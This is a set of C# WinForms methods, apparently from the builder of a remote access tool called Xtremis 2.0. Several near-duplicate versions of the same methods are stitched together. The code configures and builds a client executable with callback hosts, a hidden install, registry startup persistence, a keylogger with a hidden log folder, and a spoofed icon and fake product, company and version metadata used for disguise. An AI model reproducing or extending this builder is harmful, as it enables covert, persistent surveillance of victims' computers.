private void SaveProfile(string profilename) { var profile = new BuilderProfile(profilename); profile.Tag = txtTag.Text; profile.Hosts = HostHelper.GetRawHosts(_hosts); profile.Password = txtPassword.Text; profile.Delay = (int)numericUpDownDelay.Value; profile.Mutex = txtMutex.Text; profile.InstallClient = chkInstall.Checked; profile.InstallName = txtInstallName.Text; profile.InstallPath = GetInstallPath(); profile.InstallSub = txtInstallSubDirectory.Text; profile.HideFile = chkHide.Checked; profile.HideSubDirectory = chkHideSubDirectory.Checked; profile.AddStartup = chkStartup.Checked; profile.RegistryName = txtRegistryKeyName.Text; profile.ChangeIcon = chkChangeIcon.Checked; profile.IconPath = txtIconPath.Text; profile.ChangeAsmInfo = chkChangeAsmInfo.Checked; profile.Keylogger = chkKeylogger.Checked; profile.LogDirectoryName = txtLogDirectoryName.Text; profile.HideLogDirectory = chkHideLogDirectory.Checked; profile.ProductName = txtProductName.Text; profile.Description = txtDescription.Text; profile.CompanyName = txtCompanyName.Text; profile.Copyright = txtCopyright.Text; profile.Trademarks = txtTrademarks.Text; profile.OriginalFilename = txtOriginalFilename.Text; profile.ProductVersion = txtProductVersion.Text; profile.FileVersion = txtFileVersion.Text; }
private void btnBuild_Click(object sender, EventArgs e) { if (lstHosts.Items.Count > 0 && !string.IsNullOrEmpty(txtDelay.Text) && // Connection Information !string.IsNullOrEmpty(txtPassword.Text) && !string.IsNullOrEmpty(txtMutex.Text) && // Client Options !chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrEmpty(txtInstallname.Text) && !string.IsNullOrEmpty(txtInstallsub.Text)) && // Installation Options !chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrEmpty(txtRegistryKeyName.Text))) // Persistence and Registry Features { string output = string.Empty; string icon = string.Empty; if (chkIconChange.Checked) { using (OpenFileDialog ofd = new OpenFileDialog()) { ofd.Filter = "Icons *.ico|*.ico"; ofd.Multiselect = false; if (ofd.ShowDialog() == DialogResult.OK) { icon = ofd.FileName; } } } using (SaveFileDialog sfd = new SaveFileDialog()) { sfd.Filter = "EXE Files *.exe|*.exe"; sfd.RestoreDirectory = true; sfd.FileName = "Client-built.exe"; if (sfd.ShowDialog() == DialogResult.OK) { output = sfd.FileName; } } if (!string.IsNullOrEmpty(output) && (!chkIconChange.Checked || !string.IsNullOrEmpty(icon))) { try { string[] asmInfo = null; if (chkChangeAsmInfo.Checked) { if (!FormatHelper.IsValidVersionNumber(txtProductVersion.Text) || !FormatHelper.IsValidVersionNumber(txtFileVersion.Text)) { MessageBox.Show("Please enter a valid version number!\nExample: 1.0.0.0", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); return; } asmInfo = new string[8]; asmInfo[0] = txtProductName.Text; asmInfo[1] = txtDescription.Text; asmInfo[2] = txtCompanyName.Text; asmInfo[3] = txtCopyright.Text; asmInfo[4] = txtTrademarks.Text; asmInfo[5] = txtOriginalFilename.Text; asmInfo[6] = txtProductVersion.Text; asmInfo[7] = txtFileVersion.Text; } ClientBuilder.Build(output, txtTag.Text, HostHelper.GetRawHosts(_hosts), txtPassword.Text, txtInstallsub.Text, txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, chkStartup.Checked, chkHide.Checked, chkKeylogger.Checked, int.Parse(txtDelay.Text), GetInstallPath(), icon, asmInfo, Application.ProductVersion); MessageBox.Show("Successfully built client!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information); } catch (FileLoadException) { MessageBox.Show("Unable to load the Client Assembly Information.\nPlease re-build the Client.", "Error loading Client", MessageBoxButtons.OK, MessageBoxIcon.Error); } catch (Exception ex) { MessageBox.Show( string.Format("An error occurred!\n\nError Message: {0}\nStack Trace:\n{1}", ex.Message, ex.StackTrace), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } } } else { MessageBox.Show("Please fill out all required fields!", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); } }
private BuildOptions ValidateInput() { BuildOptions options = new BuildOptions(); if (!CheckForEmptyInput()) { MessageBox.Show("Please fill out all required fields!", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Information); return(options); } options.Tag = txtTag.Text; options.Mutex = txtMutex.Text; options.RawHosts = HostHelper.GetRawHosts(_hosts); options.Password = txtPassword.Text; options.Delay = (int)numericUpDownDelay.Value; options.IconPath = txtIconPath.Text; options.Version = Application.ProductVersion; options.InstallPath = GetInstallPath(); options.InstallSub = txtInstallSubDirectory.Text; options.InstallName = txtInstallName.Text + ".exe"; options.StartupName = txtRegistryKeyName.Text; options.Install = chkInstall.Checked; options.Startup = chkStartup.Checked; options.HideFile = chkHide.Checked; options.HideInstallSubdirectory = chkHideSubDirectory.Checked; options.Keylogger = chkKeylogger.Checked; options.LogDirectoryName = txtLogDirectoryName.Text; options.HideLogDirectory = chkHideLogDirectory.Checked; if (options.Password.Length < 3) { MessageBox.Show("Please enter a secure password with more than 3 characters.", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Warning); return(options); } if (!File.Exists("client.bin")) { MessageBox.Show("Could not locate \"client.bin\" file. It should be in the same directory as Xtremis 2.0.", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error); return(options); } if (options.RawHosts.Length < 2) { MessageBox.Show("Please enter a valid host to connect to.", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error); return(options); } if (chkChangeIcon.Checked) { if (string.IsNullOrWhiteSpace(options.IconPath) || !File.Exists(options.IconPath)) { MessageBox.Show("Please choose a valid icon path.", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error); return(options); } } else { options.IconPath = string.Empty; } if (chkChangeAsmInfo.Checked) { if (!FormatHelper.IsValidVersionNumber(txtProductVersion.Text)) { MessageBox.Show("Please enter a valid product version number!\nExample: 1.2.3.4", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error); return(options); } if (!FormatHelper.IsValidVersionNumber(txtFileVersion.Text)) { MessageBox.Show("Please enter a valid file version number!\nExample: 1.2.3.4", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error); return(options); } options.AssemblyInformation = new string[8]; options.AssemblyInformation[0] = txtProductName.Text; options.AssemblyInformation[1] = txtDescription.Text; options.AssemblyInformation[2] = txtCompanyName.Text; options.AssemblyInformation[3] = txtCopyright.Text; options.AssemblyInformation[4] = txtTrademarks.Text; options.AssemblyInformation[5] = txtOriginalFilename.Text; options.AssemblyInformation[6] = txtProductVersion.Text; options.AssemblyInformation[7] = txtFileVersion.Text; } using (SaveFileDialog sfd = new SaveFileDialog()) { sfd.Title = "Save Client as"; sfd.Filter = "Executables *.exe|*.exe"; sfd.RestoreDirectory = true; sfd.FileName = "Client-built.exe"; if (sfd.ShowDialog() != DialogResult.OK) { return(options); } options.OutputPath = sfd.FileName; } if (string.IsNullOrEmpty(options.OutputPath)) { MessageBox.Show("Please choose a valid output path.", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error); return(options); } options.ValidationSuccess = true; return(options); }
private void btnBuild_Click(object sender, EventArgs e) { if (!CheckInput()) { MessageBox.Show("Please fill out all required fields!", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Information); return; } string output = string.Empty; string icon = string.Empty; string password = txtPassword.Text; if (password.Length < 3) { MessageBox.Show("Please enter a secure password with more than 3 characters.", "Please enter a secure password", MessageBoxButtons.OK, MessageBoxIcon.Warning); return; } if (chkIconChange.Checked) { using (OpenFileDialog ofd = new OpenFileDialog()) { ofd.Title = "Choose Icon"; ofd.Filter = "Icons *.ico|*.ico"; ofd.Multiselect = false; if (ofd.ShowDialog() == DialogResult.OK) { icon = ofd.FileName; } } } using (SaveFileDialog sfd = new SaveFileDialog()) { sfd.Title = "Save Client as"; sfd.Filter = "Executables *.exe|*.exe"; sfd.RestoreDirectory = true; sfd.FileName = "Client-built.exe"; if (sfd.ShowDialog() != DialogResult.OK) { return; } output = sfd.FileName; } if (string.IsNullOrEmpty(output)) { MessageBox.Show("Please choose a valid output path.", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Information); return; } if (chkIconChange.Checked && string.IsNullOrEmpty(icon)) { MessageBox.Show("Please choose a valid icon path.", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Information); return; } try { string[] asmInfo = null; if (chkChangeAsmInfo.Checked) { if (!FormatHelper.IsValidVersionNumber(txtProductVersion.Text) || !FormatHelper.IsValidVersionNumber(txtFileVersion.Text)) { MessageBox.Show("Please enter a valid version number!\nExample: 1.0.0.0", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Information); return; } asmInfo = new string[8]; asmInfo[0] = txtProductName.Text; asmInfo[1] = txtDescription.Text; asmInfo[2] = txtCompanyName.Text; asmInfo[3] = txtCopyright.Text; asmInfo[4] = txtTrademarks.Text; asmInfo[5] = txtOriginalFilename.Text; asmInfo[6] = txtProductVersion.Text; asmInfo[7] = txtFileVersion.Text; } ClientBuilder.Build(output, txtTag.Text, HostHelper.GetRawHosts(_hosts), password, txtInstallsub.Text, txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, chkStartup.Checked, chkHide.Checked, chkKeylogger.Checked, int.Parse(txtDelay.Text), GetInstallPath(), icon, asmInfo, Application.ProductVersion); MessageBox.Show("Successfully built client!", "Build Success", MessageBoxButtons.OK, MessageBoxIcon.Information); } catch (FileLoadException) { MessageBox.Show("Unable to load the Client Assembly Information.\nPlease re-build the Client.", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error); } catch (Exception ex) { MessageBox.Show( string.Format("An error occurred!\n\nError Message: {0}\nStack Trace:\n{1}", ex.Message, ex.StackTrace), "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error); } }